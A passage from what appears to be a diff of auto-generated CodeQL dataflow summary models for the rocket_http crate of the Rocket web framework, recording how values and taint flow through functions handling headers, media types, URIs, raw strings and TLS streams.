"ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::weight", "Argument[self].Field[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::weight", "Argument[self].Field[crate::header::accept::QMediaType(1)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::weight_or", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::weight_or", "Argument[self].Field[1].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::weight_or", "Argument[self].Field[crate::header::accept::QMediaType(1)].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::header::content_type::ContentType(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::deref", "Argument[self].Field[crate::header::content_type::ContentType(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::media_type", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::media_type", "Argument[self].Field[crate::header::content_type::ContentType(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_params", "Argument[self].Field[0]", "ReturnValue.Field[crate::header::content_type::ContentType(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_params", "Argument[self].Field[crate::header::content_type::ContentType(0)]", "ReturnValue.Field[crate::header::content_type::ContentType(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::name", "Argument[self].Field[crate::header::header::Header::name]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::value", "Argument[self].Field[crate::header::header::Header::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::const_new", "Argument[2]", "ReturnValue.Field[crate::header::media_type::MediaType::params].Field[crate::header::media_type::MediaParams::Static(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::known_source", "Argument[self].Field[crate::header::media_type::MediaType::source].Field[crate::header::media_type::Source::Known(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new_known", "Argument[0]", "ReturnValue.Field[crate::header::media_type::MediaType::source].Field[crate::header::media_type::Source::Known(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new_known", "Argument[3]", "ReturnValue.Field[crate::header::media_type::MediaType::params].Field[crate::header::media_type::MediaParams::Static(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_params", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::header::media_type::Source::Custom(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new", "Argument[0]", "ReturnValue.Field[crate::listener::Incoming::listener]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::nodelay", "Argument[0]", "Argument[self].Field[crate::listener::Incoming::nodelay]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::nodelay", "Argument[0]", "ReturnValue.Field[crate::listener::Incoming::nodelay]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::nodelay", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::sleep_on_errors", "Argument[0]", "Argument[self].Field[crate::listener::Incoming::sleep_on_errors]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::sleep_on_errors", "Argument[0]", "ReturnValue.Field[crate::listener::Incoming::sleep_on_errors]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::sleep_on_errors", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::clone", "Argument[self].Reference.Field[crate::parse::indexed::Indexed::Concrete(0)]", "ReturnValue.Field[crate::parse::indexed::Indexed::Concrete(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::clone", "Argument[self].Reference.Field[crate::parse::indexed::Indexed::Indexed(0)]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::clone", "Argument[self].Reference.Field[crate::parse::indexed::Indexed::Indexed(1)]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::parse::indexed::Indexed::Concrete(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self].Field[crate::parse::indexed::Indexed::Indexed(0)]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self].Field[crate::parse::indexed::Indexed::Indexed(1)]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::len", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::add", "Argument[0].Field[crate::parse::indexed::Indexed::Indexed(1)]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::add", "Argument[self].Field[crate::parse::indexed::Indexed::Indexed(0)]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::coerce", "Argument[self].Field[crate::parse::indexed::Indexed::Indexed(0)]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::coerce", "Argument[self].Field[crate::parse::indexed::Indexed::Indexed(1)]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::coerce_lifetime", "Argument[self].Field[crate::parse::indexed::Indexed::Indexed(0)]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::coerce_lifetime", "Argument[self].Field[crate::parse::indexed::Indexed::Indexed(1)]", "ReturnValue.Field[crate::parse::indexed::Indexed::Indexed(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_cow_source", "Argument[self].Reference.Field[crate::parse::indexed::Indexed::Concrete(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_source", "Argument[0].Field[crate::option::Option::Some(0)].Element", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_source", "Argument[self].Reference.Field[crate::parse::indexed::Indexed::Concrete(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::indices", "Argument[self].Field[crate::parse::indexed::Indexed::Indexed(0)]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::indices", "Argument[self].Field[crate::parse::indexed::Indexed::Indexed(1)]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_concrete", "Argument[self].Field[crate::parse::indexed::Indexed::Concrete(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self].Field[crate::parse::uri::error::Error::index]", "ReturnValue.Field[crate::parse::uri::error::Error::index]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::index", "Argument[self].Field[crate::parse::uri::error::Error::index]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::borrow", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::borrow", "Argument[self].Field[crate::raw_str::RawStr(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::to_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_ref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_ref", "Argument[self].Field[crate::raw_str::RawStr(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_ref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_bytes", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_str", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_str", "Argument[self].Field[crate::raw_str::RawStr(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::split_at_byte", "Argument[self].Element", "ReturnValue.Field[1].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::split_at_byte", "Argument[self]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::raw_str::RawStrBuf(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_string", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_string", "Argument[self].Field[crate::raw_str::RawStrBuf(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new", "Argument[0]", "ReturnValue.Field[crate::status::Status::code]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::visit_i64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::visit_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::peer_address", "Argument[self].Field[crate::tls::listener::TlsStream::remote]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::peer_certificates", "Argument[self].Field[crate::tls::listener::TlsStream::certs].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::peer_certificates", "Argument[self].Field[crate::tls::listener::TlsStream::certs]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::deref", "Argument[self].Field[crate::tls::mtls::Certificate::x509]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_bytes", "Argument[self].Field[crate::tls::mtls::Certificate::data].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::has_serial", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::tls::mtls::Error::Incomplete(0)].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::tls::mtls::Error::Parse(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::deref", "Argument[self].Field[crate::tls::mtls::Name(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::try_from", "Argument[0].Field[crate::uri::uri::Uri::Absolute(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::append", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::prepend", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::authority", "Argument[self].Field[crate::uri::absolute::Absolute::authority].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::const_new", "Argument[1]", "ReturnValue.Field[crate::uri::absolute::Absolute::authority]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_normalized", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::path", "Argument[self].Field[crate::uri::absolute::Absolute::path]", "ReturnValue.Field[crate::uri::path_query::Path::data].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::path", "Argument[self].Field[crate::uri::absolute::Absolute::source]", "ReturnValue.Field[crate::uri::path_query::Path::source].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::query", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[2]", "ReturnValue.Field[crate::uri::absolute::Absolute::authority]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::set_authority", "Argument[0]", "Argument[self].Field[crate::uri::absolute::Absolute::authority].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_authority", "Argument[0]", "Argument[self].Field[crate::uri::absolute::Absolute::authority].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_authority", "Argument[0]", "ReturnValue.Field[crate::uri::absolute::Absolute::authority].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_authority", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::try_from", "Argument[0].Field[crate::uri::uri::Uri::Asterisk(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::try_from", "Argument[0].Field[crate::uri::uri::Uri::Authority(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::const_new", "Argument[2]", "ReturnValue.Field[crate::uri::authority::Authority::port]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::port", "Argument[self].Field[crate::uri::authority::Authority::port]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[3]", "ReturnValue.Field[crate::uri::authority::Authority::port]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::user_info", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new", "Argument[0]", "ReturnValue.Field[crate::uri::fmt::formatter::Formatter::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::render", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::render", "Argument[self].Field[crate::uri::fmt::formatter::PrefixedRouteUri(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::render", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::render", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::render", "Argument[self].Field[crate::uri::fmt::formatter::SuffixedRouteUri(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::uri::host::Host(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new", "Argument[0]", "ReturnValue.Field[crate::uri::host::Host(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::port", "Argument[self].Field[0].Field[crate::uri::authority::Authority::port]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::port", "Argument[self].Field[crate::uri::host::Host(0)].Field[crate::uri::authority::Authority::port]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::to_absolute", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::to_authority", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::try_from", "Argument[0].Field[crate::uri::uri::Uri::Origin(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::append", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_normalized", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::map_path", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::path", "Argument[self].Field[crate::uri::origin::Origin::path]", "ReturnValue.Field[crate::uri::path_query::Path::data].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::path", "Argument[self].Field[crate::uri::origin::Origin::source]", "ReturnValue.Field[crate::uri::path_query::Path::source].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::query", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0].Field[crate::uri::origin::Origin::path]", "ReturnValue.Field[crate::uri::reference::Reference::path]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0].Field[crate::uri::origin::Origin::query]", "ReturnValue.Field[crate::uri::reference::Reference::query]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0].Field[crate::uri::origin::Origin::source]", "ReturnValue.Field[crate::uri::reference::Reference::source]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::uri::reference::Reference::authority].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::try_from", "Argument[0].Field[crate::uri::uri::Uri::Reference(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::prepend", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::authority", "Argument[self].Field[crate::uri::reference::Reference::authority].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::const_new", "Argument[1]", "ReturnValue.Field[crate::uri::reference::Reference::authority]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::fragment", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_normalized", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::path", "Argument[self].Field[crate::uri::reference::Reference::path]", "ReturnValue.Field[crate::uri::path_query::Path::data].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::path", "Argument[self].Field[crate::uri::reference::Reference::source]", "ReturnValue.Field[crate::uri::path_query::Path::source].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::query", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[2]", "ReturnValue.Field[crate::uri::reference::Reference::authority]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::scheme", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_query_fragment_of", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::get", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::len", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new", "Argument[0]", "ReturnValue.Field[crate::uri::segments::Segments::source]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new", "Argument[1]", "ReturnValue.Field[crate::uri::segments::Segments::segments]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::skip", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::uri::uri::Uri::Absolute(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::uri::uri::Uri::Asterisk(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::uri::uri::Uri::Authority(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::uri::uri::Uri::Origin(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::uri::uri::Uri::Reference(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self].Field[crate::uri::uri::Uri::Asterisk(0)]", "ReturnValue.Field[crate::uri::uri::Uri::Asterisk(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::absolute", "Argument[self].Field[crate::uri::uri::Uri::Absolute(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::authority", "Argument[self].Field[crate::uri::uri::Uri::Authority(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::origin", "Argument[self].Field[crate::uri::uri::Uri::Origin(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::reference", "Argument[self].Field[crate::uri::uri::Uri::Reference(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", 